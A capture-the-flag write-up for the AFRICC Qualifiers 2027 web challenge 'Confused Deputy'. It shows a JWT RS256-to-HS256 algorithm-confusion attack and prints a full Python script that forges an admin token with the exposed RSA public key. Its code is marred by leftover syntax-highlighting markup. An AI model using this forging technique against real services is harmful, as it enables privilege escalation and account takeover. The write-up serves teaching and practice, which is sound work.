SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
B3S/WRITEUPS/AFRICC-QUALIFIERS-2027-CONFUSED-DEPUTY-WRITEUP
← BACK TO ARCHIVE
EVENT: INDEPENDENTCATEGORY: WebPOINTS: 200 PTS

AFRICC Qualifiers 2027 - Confused Deputy Writeup

AUTHORED BY:@bealthguy8/15/2026

Confused Deputy — Web Exploitation Writeup

Category: Web Exploitation Difficulty: Easy Author: LordSudo Flag: africc{alg_confusion_3v3rywh3r3}

Overview

The service authenticates users with a JWT signed with RS256. It also publicly serves its RSA public key and — because of an insecure JWT library configuration — accepts HS256 tokens signed with that very public key. This is the classic RS256 → HS256 algorithm confusion attack (the "confused deputy" problem: a privileged verifier can be tricked into using attacker-controlled material as the validation key). By re-signing a token with role: admin using the public key as an HMAC secret, we escalate to admin and read the flag.


Step 1 — Reconnaissance

1.1 The briefing page

GET / returns a case file ("Confused Deputy") with issued credentials:

Username Password
guest guest123
analyst hunting4bugs

"Both accounts above are standard users. No admin credentials have been issued to anyone."

1.2 The API map

GET /api reveals the surface:

{"endpoints":["/api/login","/api/whoami","/api/admin","/api/debug"],"service":"confused-deputy"}

Step 2 — Authentication & information gathering

2.1 Login

POST /api/login
Content-Type: application/json

{"username":"analyst","password":"hunting4bugs"}
{"token":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0Iiwicm9sZSI6InVzZXIiLCJ1aWQiOjEwMDIsImlhdCI6MTc4NjA4NDU1OSwiZXhwIjoxNzg2MDkxNzU5fQ.BOf4xZOch51IffY6XoPHI29vdVzE2_g81vbuxcsJ4-iR..."}

Decoding the JWT:

{"alg":"RS256","typ":"JWT"}
{"sub":"analyst","role":"user","uid":1002,"iat":1786084559,"exp":1786091759}

So the role is baked into the JWT. /api/whoami confirms we're a plain user.

2.2 The debug endpoint leaks intent

GET /api/debug
Authorization: Bearer <token>
{"build":"confused-deputy-svc-2.3.1","commit":"a1c9e02","env":"staging",
 "internal_note":"TODO: rotate signing keys before GA (ticket OPS-4471)"}

A strong hint: the signing key handling is insecure and pending rotation.

2.3 The public signing key is exposed

GET /.well-known/jwks.json
{"note":"RSA public key for RS256 token verification.",
 "public_key_pem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...\n-----END PUBLIC KEY-----\n"}

We confirmed this key actually verifies our real RS256 token — it is the genuine signing key.

2.4 /api/admin is role-gated

GET /api/admin
Authorization: Bearer <token>
{"error":"forbidden \u2014 admin role required"}

To read the flag we need role: admin in a validly-signed token. We only have the public key, not the private one.


Step 3 — Finding the vulnerability

We probed which algorithms the server will accept:

Algorithm Server response
none unsupported alg: none
ES256 unsupported alg: ES256
HS256 signature verification failed

Only RS256 and HS256 are supported, and the error for HS256 is "signature verification failed" — meaning the server does attempt to validate HS256 tokens against some shared secret.

That's the confused-deputy condition: the verifier will happily use HMAC (HS256) verification, and the only secret material it has configured is the RSA public key. Classic algorithm confusion.

Critical detail: the exact bytes of the secret must match what the server holds. The JWKS response returns the PEM with a single trailing \n. Copying the PEM to a file and appending extra newlines breaks the signature. Using the exact PEM string from /.well-known/jwks.json (as returned, with the trailing newline) works.


Step 4 — Exploit: RS256 → HS256 algorithm confusion

Forge an HS256 token claiming role: admin, signing it with the RSA public key PEM as the HMAC key:

import base64, json, hmac, hashlib, time

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(bclass="hljs-string">&#039;=&#039;)

pem = json.loads(get(class="hljs-string">"/.well-known/jwks.json"))[class="hljs-string">"public_key_pem"]  # exact string

header  = {class="hljs-string">"alg": class="hljs-string">"HS256", class="hljs-string">"typ": class="hljs-string">"JWT"}
payload = {class="hljs-string">"sub": class="hljs-string">"analyst", class="hljs-string">"role": class="hljs-string">"admin", class="hljs-string">"uid": 1002,
           class="hljs-string">"iat": now, class="hljs-string">"exp": now + 7200}

h  = b64url(json.dumps(header,  separators=(class="hljs-string">&#039;,&#039;, class="hljs-string">&#039;:&#039;)).encode())
p  = b64url(json.dumps(payload, separators=(class="hljs-string">&#039;,&#039;, class="hljs-string">&#039;:&#039;)).encode())
sig = hmac.new(pem.encode(), h + bclass="hljs-string">&#039;.&#039; + p, hashlib.sha256).digest()

forged = h.decode() + class="hljs-string">&#039;.&#039; + p.decode() + class="hljs-string">&#039;.&#039; + b64url(sig).decode()

Verify our new identity:

GET /api/whoami
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0Iiw...
{"role":"admin","sub":"analyst","uid":1002}

We are now an admin.


Step 5 — Capture the flag

GET /api/admin
Authorization: Bearer <forged HS256 admin token>
{"flag":"africc{alg_confusion_3v3rywh3r3}","message":"Welcome, admin."}

Flag

africc{alg_confusion_3v3rywh3r3}

Full exploit script

import base64, json, hmac, hashlib, time, urllib.request, urllib.error

BASE = class="hljs-string">"https://12e032a044be.labs.ctfroom.com"
UA = class="hljs-string">"Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0"

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(bclass="hljs-string">&#039;=&#039;)

def http(path, method=class="hljs-string">"GET", data=None, headers=None):
    hdrs = {class="hljs-string">"User-Agent": UA}
    if headers: hdrs.update(headers)
    body = json.dumps(data).encode() if data is not None else None
    if body is not None and class="hljs-string">"Content-Type" not in hdrs:
        hdrs[class="hljs-string">"Content-Type"] = class="hljs-string">"application/json"
    r = urllib.request.Request(BASE + path, method=method, data=body, headers=hdrs)
    try:
        return urllib.request.urlopen(r, timeout=15).read().decode()
    except urllib.error.HTTPError as e:
        return class="hljs-string">"HTTP %d: %s" % (e.code, e.read().decode())

token = json.loads(http(class="hljs-string">"/api/login", class="hljs-string">"POST", {class="hljs-string">"username":class="hljs-string">"analyst",class="hljs-string">"password":class="hljs-string">"hunting4bugs"}))[class="hljs-string">"token"]
pem = json.loads(http(class="hljs-string">"/.well-known/jwks.json"))[class="hljs-string">"public_key_pem"]

now = int(time.time())
payload = {class="hljs-string">"sub":class="hljs-string">"analyst",class="hljs-string">"role":class="hljs-string">"admin",class="hljs-string">"uid":1002,class="hljs-string">"iat":now,class="hljs-string">"exp":now+7200}
h = b64url(json.dumps({class="hljs-string">"alg":class="hljs-string">"HS256",class="hljs-string">"typ":class="hljs-string">"JWT"}, separators=(class="hljs-string">&#039;,&#039;,class="hljs-string">&#039;:&#039;)).encode())
p = b64url(json.dumps(payload, separators=(class="hljs-string">&#039;,&#039;,class="hljs-string">&#039;:&#039;)).encode())
sig = hmac.new(pem.encode(), h+bclass="hljs-string">&#039;.&#039;+p, hashlib.sha256).digest()
forged = h.decode()+class="hljs-string">&#039;.&#039;+p.decode()+class="hljs-string">&#039;.&#039;+b64url(sig).decode()

print(http(class="hljs-string">"/api/whoami", headers={class="hljs-string">"Authorization":class="hljs-string">"Bearer "+forged}))
print(http(class="hljs-string">"/api/admin",  headers={class="hljs-string">"Authorization":class="hljs-string">"Bearer "+forged}))

Summary of vulnerabilities

  1. Public signing key disclosure/.well-known/jwks.json exposes the RSA public key used to verify tokens.
  2. JWT algorithm confusion (confused deputy) — the server accepts HS256 tokens verified with the RSA public key as the HMAC secret, allowing forgery of arbitrary tokens (here: role: admin).
  3. Excessive privilege in the tokenrole is trusted from the signed claims, so escalating to admin unlocks /api/admin which returns the flag.

The title "Confused Deputy" refers to the classic problem where a higher-privileged process (the JWT verifier) can be misled into using attacker-controlled material (the public key) to validate untrusted input.